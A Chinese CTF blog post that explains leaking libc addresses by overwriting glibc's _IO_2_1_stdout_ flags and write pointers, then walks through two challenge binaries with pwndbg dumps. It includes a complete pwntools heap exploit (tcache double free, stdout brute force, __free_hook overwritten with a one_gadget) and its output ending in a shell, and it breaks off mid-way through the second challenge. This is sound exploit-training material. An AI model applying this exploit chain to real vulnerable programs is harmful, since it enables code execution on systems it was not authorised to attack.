Jcxp's blog

利用_IO_2_1_stdout_泄露信息

Word count: 4kReading time: 22 min
2019/09/19 Share

前言

在最近的ctf比赛中,出现了好几次无法通过输出泄露libc地址的题目,本文通过两道例题学习一下利用_IO_2_1_stdout_泄露信息.

FILE 介绍

FILELinux 系统的标准IO库中是用于描述文件的结构,称为文件流。 FILE结构在程序执行 fopen等函数时会进行创建,并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。

FILE 结构定义在 libio.h 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

对于一个FILE结构体来说,最重要的元素就是_flags_fileno_fileno存储的是我们的文件描述符,对于某些情况或许我们要劫持_fileno才能达到我们的目的,而_flags则标志了该FILE的一些行为,这对于我们的泄露至关重要

_flags的高两位字节,这是由libc固定的,不同的 libc或许不同,但是大体相同,这就像一个文件的头标示符一样,标志这是一个什么文件,正如注释所说High-order word is _IO_MAGIC; rest is flags.,而低两位字节的位数规则可以参考下面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

_IO_2_1_stdout_一般是这样的:

1
_IO_MAGIC|_IO_IS_FILEBUF|_IO_CURRENTLY_PUTTING|_IO_LINKED|_IO_NO_READS | _IO_UNBUFFERED |_IO_USER_BUF

puts函数内部实现过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1); _IO_release_lock (_IO_stdout);
return result;
}

可以看到这里实际上是调用了_IO_sputn这个函数,当然这个_IO_sputn实际上就是一个宏,调用了_IO_2_1_stdout_的vtable中的__xsputn,也就是_IO_new_file_xsputn函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{ count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mem*y (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
} return n - to_do;
}libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

我们的目的是调用_IO_OVERFLOW

1
2
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

之后调用到_IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

这里要保证f->_flags & _IO_NO_WRITES为0,否则会进入SET ERROR分支

1
2
3
4
5
6
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

使下面条件成立

1
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

最好的办法就是将#define _IO_CURRENTLY_PUTTING 0x800置为1,当stdout从来没有输出过时,该标志位为0,因为程序绝大多数是要输出的,所以通常情况下该标志位就是1

上面函数最重要的代码如下:

1
2
3
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);

跟进_IO_do_write:

1
2
3
4
5
6
7
8
9
In file: /glibc/glibc-2.27/libio/fileops.c
428
429 int
430 _IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
431 {
432 return (to_do == 0
433 || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
434 }
435 libc_hidden_ver (_IO_new_do_write, _IO_do_write)

跟进new_do_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

我们最终要执行_IO_SYSWRITE,所以这里要保证_IO_IS_APPENDING为1,或者stdout->_IO_read_end == stdout->_IO_write_base

利用过程

  • 利用unsorted bin的在tcachefastbinfd上踩出main_arena的地址,然后部分覆盖修改main_arena的地址实现对stdout的地址进行爆破,从而劫持stdout以达到泄露的目的.

  • 对于没有tcacheglibc版本,使用fastbin attack就好,因为_IO_2_1_stdout_上面就是_IO_2_1_stderr_stderr->__pad2一般是指向_IO_wide_data_2的指针,而_IO_wide_data_2是在libc中的,所以我们可以用其来伪造size

具体伪造size的情况如下的调试代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/14gx 0x7ffff7dd36f0
0x7ffff7dd36f0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd3700 <_IO_2_1_stderr_+160>: 0x00007ffff7dd2760 0x0000000000000000
0x7ffff7dd3710 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3720 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3730 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dcf2a0
0x7ffff7dd3740 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd37c3
0x7ffff7dd3750 <_IO_2_1_stdout_+16>: 0x00007ffff7dd37c3 0x00007ffff7dd37c3
pwndbg> x/14gx 0x7ffff7dd36f0+5-8
0x7ffff7dd36ed <_IO_2_1_stderr_+141>: 0xffffffffff00007f 0x0000000000ffffff
0x7ffff7dd36fd <_IO_2_1_stderr_+157>: 0xfff7dd2760000000 0x000000000000007f
0x7ffff7dd370d <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd371d <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd372d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dcf2a0000000
0x7ffff7dd373d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd37c3000000
0x7ffff7dd374d <_IO_2_1_stdout_+13>: 0xfff7dd37c300007f 0xfff7dd37c300007f

以上内容参考ctf-wiki安全脉搏

而在实际的ctf比赛中我们通常会用以下方式构造_flags的值

1
2
3
4
5
6
7
8
#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

实例

Warmup(Nu1lctf2019)

思路

  • double free 攻击 tcache_entry
  • unsorted bin 踩出 tcache
  • 修改 stdout
  • 劫持 hook

漏洞点

delete函数中,如果qword_202080[v1]不存在,并且ptr存在,则会freeptr指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("index:");
v1 = my_read();
if ( v1 >= 0 && v1 <= 9 )
{
if ( qword_202080[v1] ) //如果该条件不成立
ptr = (void *)qword_202080[v1];
if ( ptr ) //且该条件成立
{
free(ptr);
qword_202080[v1] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v2;
}

而在modify函数中,我们可以对ptr赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 modify()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("index:");
v1 = my_read();
ptr = (void *)qword_202080[v1]; //赋值
if ( v1 >= 0 && v1 <= 9 && ptr )
{
printf("content>>");
my_read1(ptr, 64);
puts("done!");
}
else
{
puts("no such note!");
}
return __readfsqword(0x28u) ^ v2;
}

具体利用

  • 首先通过添加然后modify构造如下的chunk结构
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20gx 0x555555554000+0x202060
0x555555756060: 0x0000555555757670 0x0000000000000000 /ptr
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000555555757670 0x00005555557576c0 /chunk 0 1
0x555555756090: 0x0000555555757710 0x0000555555757760 /chunk 2 3
0x5555557560a0: 0x00005555557577b0 0x0000000000000000 /chunk 4
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x0000000000000000
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
  • 修改chunk0使ptr指向chunk0并伪造一个fake size,然后delete不存在的chunk实现double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> bins 
tcachebins
0x50 [ 2]: 0x555555757670 ◂— 0x555555757670 /* 'pvuUUU' */
0x410 [ 1]: 0x555555757260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x /10gx 0x0000555555757670
0x555555757670: 0x0000555555757670 0x6161616161616161
0x555555757680: 0x6161616161616161 0x6161616161616161
0x555555757690: 0x0000000000000000 0x0000000000000051
0x5555557576a0: 0x0000000000000000 0x0000000000000000
0x5555557576b0: 0x0000000000000000 0x0000000000000051
  • 修改chunk0fd实现chunk overlapping
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tcachebins
0x50 [ 0]: 0x5555557576a0 ◂— ... //fake chunk
0x410 [ 1]: 0x555555757260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x /10gx 0x0000555555757670
0x555555757670: 0x0000555545454545 0x6161616161616161
0x555555757680: 0x6161616161616161 0x6161616161616161
0x555555757690: 0x0000000000000000 0x0000000000000051
0x5555557576a0: 0x0000000000000000 0x0000000000000000
0x5555557576b0: 0x0000000000000000 0x0000000000000051
pwndbg>
  • 通过fake chunk修改chunk1的大小为unsortedbin大小,然后多次free,填满tchache,成功获得unsortedbin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tcachebins
0x50 [ -1]: 0
0xa0 [ 7]: 0x5555557576c0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557577f0 ◂— 0x0
0x410 [ 1]: 0x555555757260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555557576b0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555557576b0
smallbins
empty
largebins
empty
  • 调试的时候可以通过double free修改tcache_IO_2_1_stdout_,再进行两次add之后会跳到_IO_2_1_stdout_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> bins 
tcachebins
0x50 [ 2]: 0x555555757760 —▸ 0x5555557576c0 —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— ...
0xa0 [ 7]: 0x5555557576c0 —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x410 [ 1]: 0x555555757260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x5555557576b0 —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) —▸ 0x7ffff7dd07e3 (_IO_2_1_stdout_+131) ◂— 0xffffffffff
BK: 0x5555557576b0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555557576b0
smallbins
empty
largebins
empty
pwndbg>
  • 然后根据上面分析的结果,我们设置_IO_2_1_stdout_的结构如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p /x _IO_2_1_stdout_
$3 = {
file = {
_flags = 0xfbad1800, //成功修改了_flags的值
_IO_read_ptr = 0x7ffff7dd07e3,
_IO_read_end = 0x7ffff7dd07e3,
_IO_read_base = 0x7ffff7dd07e3,
_IO_write_base = 0x7ffff7dd07e3,
_IO_write_ptr = 0x7ffff7dd07e4,
_IO_write_end = 0x7ffff7dd07e4,
_IO_buf_base = 0x7ffff7dd07e3,
_IO_buf_end = 0x7ffff7dd07e4,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dcfa00,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7ffff7dd18c0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dcf8c0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dcc2a0
}
  • 通过调试可知,泄露的地址与libc基地址的偏移为0x7ffff7dd18b0-0x7ffff79e4000,然后就是常规操作,修改__free_hookone_gadget的地址,来getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> bins 
tcachebins
0x50 [ 2]: 0x555555757710 —▸ 0x7ffff7dd18e8 (__free_hook) ◂— 0x0
0xa0 [ 7]: 0x5555557576c0 ◂— 0x7fff44444444
0x410 [ 1]: 0x555555757260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x5555557576b0 ◂— 0x7fff44444444
BK: 0x5555557576b0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555557576b0
smallbins
empty
largebins
empty
pwndbg>
  • getshell
1
2
3
4
5
.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ whoami
jcxp

比赛环境

比赛环境下,需要爆破_IO_2_1_stdout_的地址,这里我们把aslr开启,我们需要把0x7fbda018cca0覆盖为0x7fbda018d760,等于说我们需要修改最后两个字节,而_IO_2_1_stdout_的后三个数字一直都不变,而且从这两个地址来看,我们只需要爆破第四个数字即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tcachebins
0x50 [ 1]: 0x0
0xa0 [ 7]: 0x5651034976c0 —▸ 0x7fbda018cca0 (main_arena+96) —▸ 0x5651034977f0 ◂— 0x0
0x410 [ 1]: 0x565103497260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5651034976b0 —▸ 0x7fbda018cca0 (main_arena+96) ◂— 0x5651034976b0
smallbins
empty
largebins
empty
pwndbg> p stdout
$1 = (struct _IO_FILE *) 0x7fbda018d760 <_IO_2_1_stdout_>

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#-*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'error'
host, port = "192.168.37.140", "9999"
filename = "./warmup"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc-2.27.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)





def add(content):
p.sendlineafter('>>','1')

p.sendafter("content>>",content)

def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))
def modify(idx,content):
p.sendlineafter('>>','3')
p.sendlineafter('index:',str(idx))
p.sendafter('content>>',content)



def exp():
global p
p = process('./warmup')
#gdb.attach(p,"b* 0x555555554E29\n")
add('A'*0x30)
add('B'*0x30)
add('C'*0x30)
add('D'*0x30)

add('E'*0x30)





modify(0, 'a'*0x20 + p64(0) + p64(0x51))
delete(9)
delete(9)
delete(9)
delete(0)
add('\xa0')
add('EEEE')

add(chr(0)*0x10+p64(0)+p64(0xa1))

modify(1,"A"*8)

for i in range(7):
delete(9)

delete(9)

modify(1,p16(0xb760))
# modify(1,'\x60\x07\xdd')


delete(0)
modify(3, 'DDDD')
delete(9)
modify(3, '\xc0')
add('DDDD')
add('DDDD')

try:
add(p64(0x0fbad1800) + p64(0) * 3 + "\x00")
except:
log.failure("not lucky enough!")
p.close()
return False

p.recv(8)

leak=u64(p.recv(6).ljust(8,'\x00'))


libc.address=leak-(0x7ffff7dd18b0-0x7ffff79e4000)

if libc.address>>40 !=0x7f or libc.address&0xfff !=0:
log.failure("failed")
p.close()
return False


log.success("libc_base=%s"%hex(libc.address))

free_hook = libc.sym["__free_hook"]
one_gadget=libc.address+0x4f322
delete(0)
modify(2,'2222')
delete(9)
modify(2,p64(free_hook))
# debug([0xE29])
add('jcxp')
add(p64(one_gadget))

delete(9)

p.interactive()
print 'success'
p.close()
return True


while not exp():
pass


#raw_input('1111')

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 ✘ ⚙ jcxp@ubuntu  ~/ctf/practice/nu1l  python exp.py
[*] '/home/jcxp/ctf/practice/nu1l/warmup'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './warmup': pid 4511
[-] failed
[*] Stopped process './warmup' (pid 4511)
[+] Starting local process './warmup': pid 4514
[-] failed
[*] Stopped process './warmup' (pid 4514)
[+] Starting local process './warmup': pid 4516
[-] failed
[*] Stopped process './warmup' (pid 4516)
[+] Starting local process './warmup': pid 4518
[-] failed
[*] Stopped process './warmup' (pid 4518)
[+] Starting local process './warmup': pid 4520
[-] failed
[*] Stopped process './warmup' (pid 4520)
[+] Starting local process './warmup': pid 4522
[-] failed
[*] Stopped process './warmup' (pid 4522)
[+] Starting local process './warmup': pid 4533
[-] failed
[*] Stopped process './warmup' (pid 4533)
[+] Starting local process './warmup': pid 4535
[-] failed
[*] Stopped process './warmup' (pid 4535)
[+] Starting local process './warmup': pid 4537
[+] libc_base=0x7fdb4e64f000
[*] Switching to interactive mode
$ whoami
jcxp
$

Weapon(De1CTF 2019)

漏洞分析

delete函数中存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall free_(__int64 a1, __int64 a2)
{
signed int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("input idx :", a2);
v3 = input_();
if ( v3 < 0 && v3 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v3));
puts("Done!");
return __readfsqword(0x28u) ^ v4;
}

利用思路

  • double free使得heap可控
  • 利用unsorted bin留下的脚印爆破stdout,改stdout泄露地址
  • 劫持hook

利用流程

同样也是利用_IO_2_1_stdout_来泄露信息,这里是通过在附近找一个地址可以伪造size,通过double free或者malloc consolidate触发

1
2
3
4
5
6
pwndbg> x /10gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dd06e0000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd26a3000000

修改前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> p /x _IO_2_1_stdout_
$3 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7dd26a3,
_IO_read_end = 0x7ffff7dd26a3,
_IO_read_base = 0x7ffff7dd26a3,
_IO_write_base = 0x7ffff7dd26a3,
_IO_write_ptr = 0x7ffff7dd26a3,
_IO_write_end = 0x7ffff7dd26a3,
_IO_buf_base = 0x7ffff7dd26a3,
_IO_buf_end = 0x7ffff7dd26a4,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7ffff7dd3780,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}
pwndbg> bins
fastbins
